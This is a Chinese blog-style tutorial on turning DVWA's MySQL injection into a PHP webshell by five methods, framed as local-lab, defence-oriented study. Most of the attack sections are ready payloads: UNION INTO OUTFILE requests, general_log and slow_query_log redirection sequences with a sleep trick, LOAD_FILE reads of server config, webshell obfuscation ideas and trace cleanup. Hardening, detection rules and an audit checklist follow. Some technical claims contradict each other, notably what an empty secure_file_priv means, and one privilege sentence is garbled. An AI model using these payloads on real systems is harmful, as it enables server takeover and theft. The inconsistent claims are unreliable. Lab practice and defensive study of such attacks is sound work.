DVWA靶场实战常被当成入门“玩具”但很多人忽略了一个事实它里面每一个漏洞类型放到真实攻防里都是可以打穿系统的。就拿MySQL注入来说很多人停留在“拖库、脱裤”阶段实际上只要权限和配置到位注入点可以直接变成WebShell进而拿下服务器权限。这篇文章我想把DVWA里实测过的5种注入写WebShell思路完整拆开包括最新的日志绕过手法。老规矩所有操作都在DVWA本地靶场环境完成未对任何真实系统做过测试本文也仅从防御视角复盘攻击路径目的是让你知道对手会怎么打才知道怎么防。1. 注入写Shell的整体思路与技术选型1.1 为什么MySQL注入能写文件MySQL注入写WebShell本质上是利用了MySQL服务进程对文件系统的写权限。这里的关键前提有三个当前连接的数据库账号具备FILE权限。FILE权限是MySQL里比较敏感的一类权限它允许用户执行SELECT ... INTO OUTFILE把查询结果写到服务器磁盘上也允许通过LOAD_FILE()读取服务端文件。MySQL的secure_file_priv参数没有限制导出路径。从MySQL 5.6.34开始这个参数默认值为NULL或空只有在显式配置了目录后才允许导出到指定目录。如果该值被设置为空字符串则意味着不允许任何文件导出操作如果指向一个目录则只能导出到该目录。很多运维图省事直接把这项配成空这就等于把写文件的口子给打开了。注入点所在的Web应用根目录可写。通常要写入的WebShell路径需要落在Web服务能解析的目录内比如Apache的/var/www/html/或Nginx的/usr/share/nginx/html/而且这个目录对MySQL进程账户一般是mysql用户要有写权限。这三个条件缺一不可。换句话说注入写Shell不是“有手就行”它的前提是目标环境本身存在多处配置失当。但反过来讲正是因为很多开发者和运维对这些条件缺少感知才让这个攻击链在真实环境里反复出现。1.2 为什么选DVWA来复现这套攻击链DVWA之所以是复现这类攻击链的最佳选择一是它把注入漏洞的难度分成了Low、Medium、High、Impossible四个档位可以逐步观察防护手段升级后攻击手法的变化二是它默认配置下数据库连接用户就是rootlocalhost默认权限非常高FILE权限默认就有secure_file_priv默认不限制这正好还原了很多中小站点“裸奔”的真实状态。另外一个很重要的点是DVWA内置了/hackable/uploads/目录这个目录本身就是为了让你测试文件上传和写入用的。如果你在真实环境中想自己搭一套实验环境也可以用本地搭建的LAMP环境加一个有FILE权限的MySQL用户来模拟但DVWA把所有前置条件都已经准备好了省去很多麻烦。1.3 五种写Shell方式的核心思路对比在DVWA的SQL Injection模块我实测下来比较靠谱的写WebShell手法有以下5种各有适用场景方式核心命令/思路适用条件难度Union注入写文件union select 1,2,?php eval($_POST[x]);? into outfile注入点支持联合查询页面有回显列低堆叠注入写文件;select ?php ...? into outfile驱动支持多语句执行如PDO、MySQLi中报错注入写文件利用UpdateXML/ExtractValue报错回显处理数据无常规回显但有报错信息中日志文件写WebShellset global general_logon配合general_log_file指向Web目录数据库账号有SUPER权限高慢查询日志写WebShell修改slow_query_log_file指向Web目录后触发慢查询数据库账号有SUPER权限高这里要特别说明第4和第5种方式并非靠SQL语法直接写文件而是利用MySQL全局变量配置与日志机制把恶意PHP代码“塞”进日志文件再通过Web访问解析成Shell。标题里提到的“最新日志绕过技巧”对应的主要是这类方式后面我会展开细讲。2. 前置准备与关键参数解析2.1 环境搭建与版本选择我本机用的组合是Ubuntu 22.04 MySQL 8.0 PHP 8.1 Apache 2.4DVWA版本是GitHub最新的master分支。这里要注意一个问题MySQL 8.0和5.7在某些行为上有差异比如MySQL 8.0中SELECT ... INTO OUTFILE要求secure_file_priv必须配置为目录才能使用且无法通过SQL语句读取该参数的值需要管理员权限这会影响一些探测思路的落地。所以如果你是想完整复现每一种手法更稳妥的是用MySQL 5.7版本DVWA官方文档里推荐的经典组合也是5.x。另外PHP版本不要太新。PHP 8.0以上对eval()这类危险函数并没有做额外限制但如果你后面想试更多WebShell绕过手法某些老式混淆马在高版本PHP下会直接报语法错误。DVWA本身对PHP 8.1兼容性还行但建议用PHP 7.4来跑最省心。2.2 数据库权限探测动手前先确认三件事在开始注入之前先确认当前数据库用户具备哪些权限。在SQL Injection的注入点里可以直接用union select构造查询来判断。以Low级别的注入点为例子原始SQL是SELECT first_name, last_name FROM users WHERE user_id $id;我们在id参数里注入1 union select 1,version_compile_os-- -页面里能看到MySQL版本和编译系统的信息这确认了注入点可用于Union查询。接着判断当前用户有没有FILE权限1 union select 1,file_priv from mysql.user where userroot-- -如果页面回显是Y那写文件的权限条件就成立了。除此之外还可以通过secure_file_priv来确认导出路径限制不过在MySQL 8.0里这个值无法直接查需要到系统的my.cnf里确认。2.3 secure_file_priv参数深度理解secure_file_priv这个参数很多人只记结论空字符串不允许写指定目录只能写那个目录。但实操中容易忽略一个细节这个参数是只读全局变量不能通过SET GLOBAL在线修改MySQL 8.0中修改需要重启或者至少开启persist_only。这意味着如果你在渗透测试中发现目标是MySQL 5.7且secure_file_priv为空那不是配置错了而是MySQL的默认行为就是如此反而是最理想的情况。另外还要注意INTO OUTFILE导出的文件默认会覆盖已有文件除非加了REPLACE关键字但MySQL 8.0不支持REPLACE INTO ... OUTFILE并且导出文件必须不存在于目标路径否则会报错。写WebShell时如果你选了一个已存在的路径比如直接写/var/www/html/shell.php而该文件已存在命令会失败。所以实操中通常写一个随机文件名既避免冲突也减少被扫描发现的概率。这个细节很多人第一次上手会踩坑。3. 五种写Shell方式的实战拆解与防御视角分析3.1 方式一Union注入直接写文件这是最基础也最直接的方式。Low级别下没有做任何参数过滤id直接进查询。用Burp Suite或浏览器直接改URL参数构造如下请求GET /dvwa/vulnerabilities/sqli/?id1%27%20union%20select%201,%22%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%20into%20outfile%20%22/var/www/html/dvwa/hackable/uploads/shell.php%22--%20-SubmitSubmit HTTP/1.1需要说明的是URL编码后的双引号内容就是PHP一句话木马的代码。这段代码本身是很常见的用eval()接收POST参数cmd并执行攻击者一旦访问到这个PHP文件传入对应参数即可获得命令执行能力。请求发送后用浏览器访问http://127.0.0.1/dvwa/hackable/uploads/shell.php配合蚁剑或冰蝎连接即可获得虚拟终端。防御视角来看这条攻击链最核心的拦截点在INTO OUTFILE关键字。WAF规则里如果只过滤了union select忽略了对outfile的检测那这条路径就还能走得通。另外/hackable/uploads/目录在DVWA里本身就是设计用来存放上传文件的真实环境中很多CMS的附件目录也有写权限这类目录一旦暴露在Web根目录下配合注入点就是天然的Shell落点。3.2 方式二堆叠注入写文件堆叠注入的核心在于支持一次发送多条SQL语句。DVWA的Low级别默认用了mysqli的query()函数它本身并不支持多语句执行但如果你改了配置或者在真实环境中遇到了使用PDO且不关闭PDO::MYSQL_ATTR_MULTI_STATEMENTS的情况就可以这么打。在id参数后加分号和一条完整的写文件语句1;select ?php eval($_POST[cmd]);? into outfile /var/www/html/dvwa/hackable/uploads/shell2.php;-- -堆叠注入的优势在于不需要前置的union select回显而是通过直接执行第二条独立语句来完成操作。这意味着即使页面上没有任何查询结果的回显只要SQL执行成功文件照样能写进去。从防御角度看堆叠注入的检测难点在于Web层很难区分正常的多语句与恶意的多语句。很多参数化查询并不能防止这类攻击因为参数化只处理了单条语句的合法性并没有限制SQL语句的条数。真正有效的防御手段是让数据库账号只具备应用所需的最小权限比如普通业务账号就不该有INSERT、UPDATE之外的SELECT权限更不该有FILE权限。这一点在代码层面解决不了必须在数据库权限设计阶段就考虑清楚。3.3 方式三报错注入写文件当页面没有正常回显但会输出SQL错误时报错注入就派上用场了。DVWA的Medium级别开始做了简单的参数转义但报错注入依然可以绕过。报错注入的核心是利用UpdateXML或ExtractValue函数让查询结果以报错信息的形式回显。写文件的语句没法直接塞进报错函数里但可以用报错注入先确认绝对路径再结合Union注入或堆叠注入完成写文件动作。实际测试中我常用extractvalue来探测Web根目录1 and extractvalue(1,concat(0x7e,(select basedir)))-- -得到MySQL的安装路径后可以相对合理地推断出Apache的默认站点目录。比如在Ubuntu上MySQL的basedir一般是/usr而Apache站点根目录通常是/var/www/html系统自带的Web目录一般是/var/www/html。两者路径不同但可以通过报错注入读取/etc/apache2/sites-enabled/000-default.conf等配置文件来确认准确路径这一步需要配合LOAD_FILE()函数。确认路径后再用前面两种方式之一完成最后一步写入。报错注入的防御重点在于对数据库错误信息的处理。很多框架默认把异常信息直接输出到前端这是非常糟糕的习惯。生产环境应当关闭display_errors并将日志记录到服务端。同时对extractvalue和updatexml这类函数的参数做输入校验虽然函数本身是内部函数但攻击者通过注入点控制第一个参数的方式应该被识别为异常行为。3.4 方式四通用日志写WebShell通用日志写Shell的思路是利用MySQL的general_log全局变量把执行的每一条SQL记录到文件中。如果把这个日志文件路径指向Web目录并把一条包含PHP代码的SQL语句写入日志那访问这个日志文件就等于访问了一个PHP脚本。在注入点里依次执行以下步骤set global general_logon; set global general_log_file/var/www/html/dvwa/hackable/uploads/log_shell.php; select ?php eval($_POST[cmd]);?;前两条语句修改了全局日志配置第三条语句的内容会被原样写入日志文件。由于日志文件扩展名是.phpWeb服务会把它当成PHP脚本解析页面访问时PHP标签内的代码就会被执行。这里有个技术细节MySQL的日志记录格式有两种一种是TABLE一种是FILE。默认是FILE但如果你发现日志写入格式变成表格形式而不是纯文本那就说明log_output被改成了TABLE。这个时候需要先set global log_outputfile;否则SQL会记录到mysql.general_log表中而不是文件里写Shell的目标就落空了。日志写Shell的隐蔽性比前三种都高因为它不依赖文件导出权限语句本身看起来也像一个正常的配置变更操作。但它有一个致命的服务端特征general_log开启后所有SQL都被记录包括其他应用发起的正常查询这会让日志文件迅速膨胀运维人员很容易发现异常。这也是为什么有经验的攻击者会在完成操作后立刻把general_log改回off并删除写入的恶意日志记录。但日志文件本身就是痕迹清理不彻底照样会暴露。防御侧对策很简单生产环境默认将general_log保持关闭运维排查问题时才临时开启并且日志目录不要放在Web可访问的路径下。这条如果做到位此路不通。3.5 方式五慢查询日志写WebShell最新绕过技巧慢查询日志写入的原理和通用日志几乎一样区别在于触发条件slow_query_log记录的是执行时间超过long_query_time阈值的SQL。默认阈值是10秒这就存在一个问题——普通的SQL根本不会被记录恶意SQL要想被写进日志要么本身执行确实慢比如笛卡尔积全表扫描要么想办法人为改小阈值。下面说一下我测试时用的绕过思路这个思路也被一些实际事件验证过首先在注入点执行set global slow_query_logon; set global slow_query_log_file/var/www/html/dvwa/hackable/uploads/slow_shell.php; set global long_query_time0.01; select ?php eval($_POST[cmd]);?,sleep(0.02);关键在于最后一条语句把耗时的sleep(0.02)和PHP代码拼在一起。执行时间超过0.01秒就会被写入慢查询日志而sleep(0.02)只是让查询多等了20毫秒几乎不影响正常业务。MySQL的慢查询日志不会记录set global这类管理语句但会记录select语句所以真正被写入日志的是包含PHP代码的select内容。这个技巧的“新”体现在两个点一是通过连带sleep函数让恶意select满足慢查询条件二是不需要像通用日志那样开启全量审计慢查询日志在生产环境默认也是开启的运维平时很少去检查内容隐蔽性更好。我实际测试下来整个操作只需一两秒日志文件里就出现了一个以.php结尾的文件访问后可以直接连蚁剑。3.6 各方式在DVWA各难度级别下的可行性上面5种方式在DVWA里的具体表现我整理成一张表方便做对照实验时参考方式LowMediumHighImpossibleUnion注入写文件完全可行需绕过转义需绕过双写不可行堆叠注入写文件需修改驱动配置需修改驱动配置需修改驱动配置不可行报错注入探测路径可行可行需绕过过滤不可行通用日志写Shell完全可行可行可行不可行慢查询日志写Shell完全可行可行可行不可行Impossible级别用了参数化查询和函数级防护整个SQL语句不再拼接变量从根上杜绝了注入的可能。这说明一个道理防护做到位之后再花哨的攻击手法也打不进来。4. 实际操练中的关键细节与避坑指南4.1 路径探测的三个实用命令写文件最怕路径不对。我在本地测试时反复用下面的组合拳确认路径你可以直接抄先看数据库相关路径1 union select 1,datadir-- - 1 union select 1,basedir-- -再看当前操作系统用户和主机名1 union select 1,hostname-- -如果页面能回显文件内容那就更直接了——用LOAD_FILE()读取Web服务的配置文件比如Apache的000-default.conf或.htaccess确认DocumentRoot的具体指向1 union select 1,load_file(/etc/apache2/sites-enabled/000-default.conf)-- -这里的load_file如果能成功说明不仅路径探测成功FILE权限也确认可用了写文件可以放心进行。4.2 写入失败的常见原因与排查我第一次按网上的教程操作时在Medium级别怎么都写不进去页面一直报错The MySQL server is running with the --secure-file-priv option so it cannot execute this statement。排查下来原因有两层第一DVWA的Medium级别对特殊字符做了转义单引号、双引号都被加了反斜杠导致写入的PHP代码被转义成非法内容。解决办法是使用CHAR()函数将字符串转为十六进制或者用CONCAT()拼接避免在SQL中直接出现引号。第二MySQL 8.0中secure_file_priv如果被设置为一个非空目录INTO OUTFILE只能写进那个目录。这时候要么改用通用日志方式要么就得找mysqld配置文件确认实际限制。这个限制和DVWA的级别无关是MySQL版本导致的差异。另外一个容易踩的坑是防火墙和目录执行权限。Apache默认配置下/hackable/uploads/目录会禁止执行PHP脚本DVWA特意在.htaccess或配置里开了执行权限但如果你自定义的Web目录没有放开execCGI或php_admin_flag即使文件写进去了访问也只会下载或直接输出源码不会执行。本地测试时如果遇到这种情况检查一下目标目录的AllowOverride是否开启、php_admin_value是否限制了执行。4.3 一句话木马的免杀与变形思路虽然本文重点是写文件本身但写完Shell之后能不能稳定连接才是完整攻击链的关键。DVWA的/hackable/uploads/目录默认不做任何内容检测所以最基础的eval($_POST[cmd])是可以直接连接的。但如果目标站有WAF或者主机侧有安全软件扫描就需要对PHP代码做变形。我实测可用的几个变形思路供防御方了解特征用assert替代eval某些安全软件对assert的检测规则更少。用create_function构造匿名函数再调用。将代码拆分成变量拼接避免在文件中出现完整的危险函数签名。用base64_decode包裹payload服务端看不到真实命令内容。这些变形没法彻底绕过所有检测但在实战中能有效对抗特征匹配型扫描。防御方不要指望靠特征码一劳永逸行为监测才是正解。5. 日志绕过技巧的攻防与检测方案5.1 攻击者视角如何把日志写得看不出问题标题里的“最新日志绕过技巧”其实是慢查询日志写入的一个进阶版本。通用日志写Shell虽然简单但日志文件增长太快、特征明显。而慢查询日志天然是“合理存在”的运维只会关注哪些SQL导致系统变慢而不会怀疑日志文件本身有问题。攻击者会尽量让恶意SQL在日志里看起来像一条普通查询。比如上面提到的select ?php eval($_POST[cmd]);?,sleep(0.02)单看执行计划这就是一条带sleep的随机查询如果数据库本身业务里确实存在类似的慢查询这条记录混在其中毫不起眼。更刁钻的做法是在SQL里混入大量空格、注释、换行让日志里的内容更难被人工识别select ?php echo ok;eval($_POST[cmd]);? ,sleep(0.02)这样日志文件里看到的是一段带换行的SQL而非一行明显的恶意代码大大降低了被人工巡检发现的可能性。5.2 防御者视角四条检测规则针对这类攻击我总结了几条可以用来做检测的思路写进HIDS或WAF规则里都适用监控general_log_file和slow_query_log_file两个全局变量的取值变化。正常业务中这两个值极少被在线修改一旦出现SET GLOBAL修改且路径指向Web目录的行为直接告警。检查Web目录下新增的.php文件内容特征。特别是文件开头是SQL日志格式而非?php开头的文件基本可以判定是日志写入产生的Shell正常PHP文件不会长这样。对日志目录权限做收敛。慢查询日志和通用日志统一放在数据库服务器非Web路径下Web服务无法访问写入后也无法被解析执行。建立慢查询日志的定期人工审计机制。这是我测试下来最费时间但最有效的方法日志里出现sleep()嵌套、select带PHP标签等异常组合时就要立刻追溯会话来源。5.3 Post-Exploitation阶段如何清理痕迹攻防演练中拿到Shell不是终点清理痕迹才是。以慢查询日志写入为例如果测试结束后不清理靶场里这些痕迹会干扰后面的分析复现。清理思路是三步set global slow_query_logoff; set global slow_query_log_file/var/lib/mysql/机器名-slow.log; select ?php exit;? into outfile /var/www/html/dvwa/hackable/uploads/slow_shell.php;第一步关闭慢查询第二步恢复默认路径第三步让原Shell文件变成只输出exit的空脚本后续请求不会再有命令执行能力。这样做的意义在于保留文件以证明攻击路径但确保它不会在二次测试中被误用。6. 常见问题速查与实操避坑清单6.1 从5分钟到1小时我踩过的五个典型问题第一个问题MySQL 8.0中secure_file_priv参数显示为NULL但写文件依然报错。原因是我用root账号登录但root只是权限高secure_file_priv限制的是MySQL服务器的全局导出路径和账号权限无关。确认方法是查看my.cnf中是否有secure_file_priv配置如果没配置就代表无限制。第二个问题日志写入的内容被HTML编码了。这发生在DVWA的Medium级别下因为页面对输入内容做了htmlspecialchars转义。日志文件写入时保存的是转义后的内容直接访问时看到的是lt;?php之类的HTML实体根本不会被PHP解析。解决办法是在SQL里使用CHAR(60,63,112,...)生成?php部分避开特软字符。第三个问题文件写进去了但访问显示空白或403。多半是目录执行权限没开或者Apache的mod_php没生效要检查配置里是否启用了php7.4_module以及在Directory里是否设置了AllowOverride All和Options ExecCGI。第四个问题蚁剑连接报“无法打开目录”。这是因为PHP一句话执行了但Web服务的disable_functions禁用了scandir等列目录函数。不影响命令执行只是显示异常可以换用print_r(glob(/*))一类的替代函数来列出根目录。第五个问题重启MySQL服务后慢查询日志路径被还原。这个要理解set global只对当前运行实例生效重启后就丢了。攻击者如果想要维持持久性需要写入my.cnf配置文件但那又需要文件系统层的写权限难度更高。这个特性反而是一个防御加分项。6.2 实战操作安全红线最后提醒几条安全红线所有测试只允许在DVWA或其他自建靶场内进行切勿对未授权的真实系统发起此类探测。拿到Shell之后更要谨慎不要对目标系统做额外的数据访问或破坏操作。DVWA靶场的/hackable/uploads/不是系统真实目录测试完成直接重置容器即可不要纠结于清理问题。写文件时注意文件名不要太常见shell.php、cmd.php这类名字在真实环境中会被WAF和扫描器重点关照虽然本地靶场无所谓但好习惯得从靶场练起。6.3 不同MySQL版本的兼容性差异版本Union写文件通用日志慢查询日志堆叠注入备注MySQL 5.5可行可行可行可行老版本无secure_file_priv限制MySQL 5.7可行可行可行可行默认secure_file_priv无限制MySQL 8.0受路径限制可行可行可行secure_file_priv需配置后才能导出之所以把版本差异单独拿出来说是因为网上不少教程默认都是5.7环境你在8.0上照着操作大概率踩坑。如果只想体验完整的写Shell流程用5.7版本体验最好如果用8.0把精力放在日志写入方式上效果一样不差。7. 从靶场到实战防御加固与排查清单7.1 数据库侧的四层加固第一层账号权限最小化。业务账号只授权所需库表的DML权限绝不能给FILE、SUPER、GRANT这类高危权限。这一点在代码里看不到但所有注入攻击遇到它都是死路一条。第二层配置收敛。在my.cnf里显式设置secure_file_priv/tmp/mysql_secure/ general_logOFF slow_query_logON slow_query_log_file/var/log/mysql/mysql-slow.log long_query_time2把导出路径限制到一个Web服务不可访问的目录日志路径也放在数据库目录下而不是Web目录。第三层SQL语句白名单。在数据库层面对INTO OUTFILE、LOAD_FILE()、SET GLOBAL等高风险SQL做审计和报警。MySQL自带的审计插件或者云数据库的审计日志都可以做到。第四层数据库版本升级。老版本的MySQL在权限校验、安全配置上存在多个已知缺陷比如5.5及之前的版本默认secure_file_priv是无限制的这类环境根本没有防御纵深升级版本本身就等于加固。7.2 Web侧的三道防线第一道防线是WAF规则。除了过滤union select、sleep这类常规注入特征重点加一条拒绝outfile和dumpfile关键字。虽然前面提到的日志写入方式不依赖这两个关键字但能拦截掉很大一部分纯脚本小子的攻击。第二道防线是文件系统权限。Web目录原则上只允许Web服务账号写入数据库进程账号如mysql不应该对Web目录有任何写权限。做到这一点即使攻击者配置了日志路径指向Web目录写入也会因为系统权限不足而失败。第三道防线是关键目录隔离。把上传目录单独挂载禁用目录下PHP脚本的执行权限。不是每次文件上传都需要PHP执行Nginx里用location匹配上传目录并设置php_admin_value或者FastCGI的pass即可。这条规则能防住大部分上传解析组合漏洞。7.3 巡检清单我建议安全工程师每个月至少走一遍这个清单数据库账号权限表中是否出现FILE、SUPER权限的账号尤其是非DBA账号。secure_file_priv配置是否非空是否指向可被Web访问的路径。general_log是否处于开启状态日志文件是否异常增大。慢查询日志中是否出现包含?php、$_POST、eval等特征的记录。Web服务器日志中是否有针对注入点的outfile、dumpfile、set global关键字尝试。上传目录、附件目录下是否存在文件头非PHP但扩展名为.php的可疑文件。这套清单覆盖了文章里所有攻击手法的检测面坚持执行下来不敢说绝对安全但至少能把这类攻击的入口和落地都堵死。我个人在实际操练中的体会是DVWA的注入写Shell内容不难难的是把每一步背后的配置原理吃透。很多人看完一遍觉得自己会了结果换一台MySQL 8.0的机器就寸步难行。照着我上面给的环境和步骤完整过一遍再把版本差异的坑也踩一遍你才算真正掌握了这套攻防链路。后续你还可以在这个基础上扩展学习UDF提权、内存马注入、日志投毒等进阶内容但前提是今天这些基础你得打扎实。
